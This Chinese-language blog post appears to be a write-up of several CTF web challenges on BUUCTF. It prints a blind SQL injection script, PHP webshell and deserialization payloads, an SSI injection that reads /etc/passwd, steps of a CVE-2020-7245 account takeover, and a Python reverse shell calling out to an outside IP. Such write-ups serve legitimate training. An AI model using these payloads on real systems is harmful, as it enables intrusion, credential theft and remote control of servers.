u1s1,最近一段时间真的不知道该干啥了,不想学习,沉迷于MC无法自拔!!
访问页面,发现是个登录框,,,,查看一下源码
存在一个image.php页面,还有id号,怀疑存在sql注入
输入啥都没反应,,,,后面找到有个robots.txt:
下载index.php.bak无果,下载image.php.bak得到image.php的源码:
<?php
include "config.php";
$id=isset($_GET["id"])?$_GET["id"]:"1";
$path=isset($_GET["path"])?$_GET["path"]:"";
$id=addslashes($id);
$path=addslashes($path);
$id=str_replace(array("\\0","%00","\\'","'"),"",$id);
$path=str_replace(array("\\0","%00","\\'","'"),"",$path);
$result=mysqli_query($con,"select * from images where id='{$id}' or path='{$path}'");
$row=mysqli_fetch_array($result,MYSQLI_ASSOC);
$path="./" . $row["path"];
header("Content-Type: image/jpeg");
readfile($path);
可以看见的是对我们的参数首先进行转义,然后过滤单引号、\0、等,怪不得之前没有效果
仔细看看,这并不妨碍我们进行sql注入
传递参数:
id=\\0'&path= or 1=1#
$id = "\\0";
$path = " or 1=1 #";
$id=addslashes($id);
$path=addslashes($path);
$id=str_replace(array("\\0","%00","\\'","'"),"",$id);
$path=str_replace(array("\\0","%00","\\'","'"),"",$path);
echo "select * from images where id='{$id}' or path='{$path}'";
得到结果:
select * from images where id='\' or path=' or 1=1 #'
这样where条件就无用了,我们就能够进行注入了,编写脚本:
import requests
import sys
import string
import io
import time
sys.stdout = io.TextIOWrapper(sys.stdout.buffer,encoding='utf8') #改变标准输出的默认编码,否则s.text不能输出
flag = ""
url = "http://1ecf7701-7fa0-409e-8a5a-176be2cb62a3.node3.buuoj.cn/image.php?id=\\0&path= or ascii(substr((select password from users),%s,1)) < %s"
'''
r = requests.get(url)
if "JFIF" in r.text:
print("Good!")
'''
for i in range(1,100):
for j in range(1,126):
urls = url%(str(i),str(j)) + " %23"
r = requests.get(urls)
if "JFIF" in r.text:
flag += chr(j-1)
print(flag)
break
print(flag)
得到密码:
admin登陆一下:
不能上传php文件,换一个,得到一个链接,访问得到:
可以看见我们的文件名记录在了php文件中!
那我们可以把文件名改成php语句!!发现不行,估计过滤了php关键字
php语法不能用?不应该,使用短标签=$_GET['cmd']; eval($_POST['cmd']); ?>
菜刀链接:
反序列化字符逃逸,与之前的不同,这个是关键词过滤,也就是变少,打开题目可以看见源码
$function = @$_GET['f'];
function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}
if($_SESSION){
unset($_SESSION);
}
$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;
extract($_POST);
if(!$function){
echo 'source_code';
}
if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}
$serialize_info = filter(serialize($_SESSION));
if($function == 'highlight_file'){
highlight_file('index.php');
}else if($function == 'phpinfo'){
eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
}
根据提示打开phpinfo可以看到flag文件名,应该就是让我们文件读取flag
我们可以看见最关键的就是img,所以我们需要控制这个img
可以看见有个extract($_POST);
,所以我们可以构造一个新的session值
$_SESSION['flagphp']=';s:3:"333";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}';
可以自己编写一下代码运行一下看看结果:
function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}
$_SESSION['flagphp']=';s:3:"333";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}';
$_SESSION['img'] = base64_encode('guest_img.png');
$serialize_info = filter(serialize($_SESSION));
echo $serialize_info."\n";
$b = unserialize($serialize_info);
echo $b['img'];
结果:
a:2:{s:7:"";s:50:";s:3:"333";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}
ZDBnM19mMWFnLnBocA==
可以看见,我们得到的img是我们传递进去的,那就可以了,读取一下,发现还有个文件,继续读取得到flag
最后获取flag的payload:
get
f=show_image
post
_SESSION['flagphp']=;s:3:"333";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}
一个上传界面,尝试上传,发现不能上传后缀名含有ph的文件:
尝试上传.htaccess,发现上传成功
上传图片马,为了方便直接使用:
直接readfile读取文件:
扫描发现.swp文件,访问之~,获源码:
ob_start();
function get_hash(){
$chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()+-';
$random = $chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)];//Random 5 times
$content = uniqid().$random;
return sha1($content);
}
header("Content-Type: text/html;charset=utf-8");
***
if(isset($_POST['username']) and $_POST['username'] != '' )
{
$admin = '6d0bc1';
if ( $admin == substr(md5($_POST['password']),0,6)) {
echo "";
$file_shtml = "public/".get_hash().".shtml";
$shtml = fopen($file_shtml, "w") or die("Unable to open file!");
$text = '
***
***
Hello,'
.$_POST['username'].'
***
***';
fwrite($shtml,$text);
fclose($shtml);
***
echo "[!] Header error ...";
} else {
echo "";
}else
{
***
}
***
?>
可以发现用户名可以随意填,只要密码的md5前6位等于6d0bc1
即可成功登陆
登录之后会把用户名填写到一个随机的shtml文件中~~
搜索一下shtml相关漏洞,找到了ssi注入,ok
先爆破密码,这个应该比较简单:
import hashlib
def getMd5(index):
for i in range(10000,100000000):
x = i
md5 = hashlib.md5(str(x).encode("utf8")).hexdigest()
if md5[0:6] == index:
print(x)
print(md5)
return x;
getMd5("6d0bc1")
得到2020666,在用户名处进行ssi注入:
直接执行服务器上的各种程序<#exec>(如CGI或其他可执行程序)
<!--#exec cmd="cat /etc/passwd"-->
把想要执行的命令写好之后,访问shtml文件:
payload:
<!--#exec cmd="ls ../"-->
访问flag_990c66bf85a09c664f0b6741840499b2 获得flag:
这道题就是一道CVE当初做的时候自己邮箱不起作用,直接放弃了,,,,
需要buu内网的邮箱,,,就当是复现一下CVE吧,,编号:CVE-2020-7245
看原理:CVE-2020-7245用户接管
打开题目,先注册一个用户,根据原理注册admin
,admin前面有个空格,
然后去注册一个邮箱:[email protected],,,
然后退出,在登录页面点击重置密码~~,输入邮箱:
收到邮箱就可以更改密码了,不过注意登录之前要先把直接注册的账号的用户名给改了
之后admin修改的密码直接进去,找到flag:
下载文件得到flag~~
打开得到源码:
from flask import Flask, request
import os
app = Flask(__name__)
flag_file = open("flag.txt", "r")
# flag = flag_file.read()
# flag_file.close()
#
# @app.route('/flag')
# def flag():
# return flag
## want flag? naive!
# You will never find the thing you want:) I think
@app.route('/shell')
def shell():
os.system("rm -f flag.txt")
exec_cmd = request.args.get('c')
os.system(exec_cmd)
return "1"
@app.route('/')
def source():
return open("app.py","r").read()
if __name__ == "__main__":
app.run(host='0.0.0.0')
可以看见我们可以执行命令,不过在我们执行命令之前我们的flag文件被删除了
而且我们执行命令之后也没有回显,就先尝试一下反弹shell,由于这里是python,所以就是用python一句话反弹shell:
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("174.0.130.25",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
传入之后,在自己机器(buu的内网机器)上用nc监听,成功的到shell,不过发现我们没有读取的权限,,
这里就要引入一个新的知识点:
在 linux 系统中如果一个程序打开了一个文件没有关闭,即便从外部删除之后,在 /proc 这个进程的 pid 目录下的 fd 文件描述符目录下还是会有这个文件的 fd,通过这个我们即可得到被删除文件的内容。
由于上面打开了flag文件,但是却没有关闭,所以我们可以在 /proc 这个进程的 pid 目录下的 fd 文件描述符目录下读取到文件,使用命令:
cat /proc/*/fd/*